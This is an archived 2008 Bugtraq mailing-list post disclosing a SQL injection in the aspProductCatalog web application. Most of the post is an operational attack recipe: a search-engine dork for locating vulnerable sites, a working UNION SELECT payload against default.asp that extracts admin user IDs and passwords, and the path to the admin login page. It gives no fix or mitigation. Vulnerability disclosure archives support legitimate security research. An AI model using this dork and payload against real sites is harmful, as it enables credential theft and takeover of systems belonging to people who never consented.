lists.openwall.net | lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC | |
Open Source and information security mailing list archives
| ||
|
Date: 11 Dec 2008 06:21:42 -0000 From: r3d.w0rm@...oo.com To: bugtraq@...urityfocus.com Subject: aspProductCatalog Sql Injection ##################################################################################### #### aspProductCatalog Sql Injection #### ##################################################################################### # # #AUTHOR : Sina Yazdanmehr (R3d.W0rm) # #Discovered by : Sina Yazdanmehr (R3d.W0rm) # #Our Site : Http://IRCRASH.COM # #IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) - Hadi Kiamarsi # ##################################################################################### # # #Download : http://heanet.dl.sourceforge.net/sourceforge/aspprocatalog/aspProductCatalogv1.0.zip # # #DORK : "Powered by ASP Product Catalog" inurl:default.asp # # # ##################################################################################### # [Sql Injection] # # # #http://Site/default.asp?cid=-999 union select 0,user_id,password,3,4,5 from admin # # # ##################################################################################### # [Admin Panel] # # # #http://Site/admin/login.asp # # # ##################################################################################### # Site : Http://IRCRASH.COM # ###################################### TNX GOD ######################################
Powered by blists - more mailing lists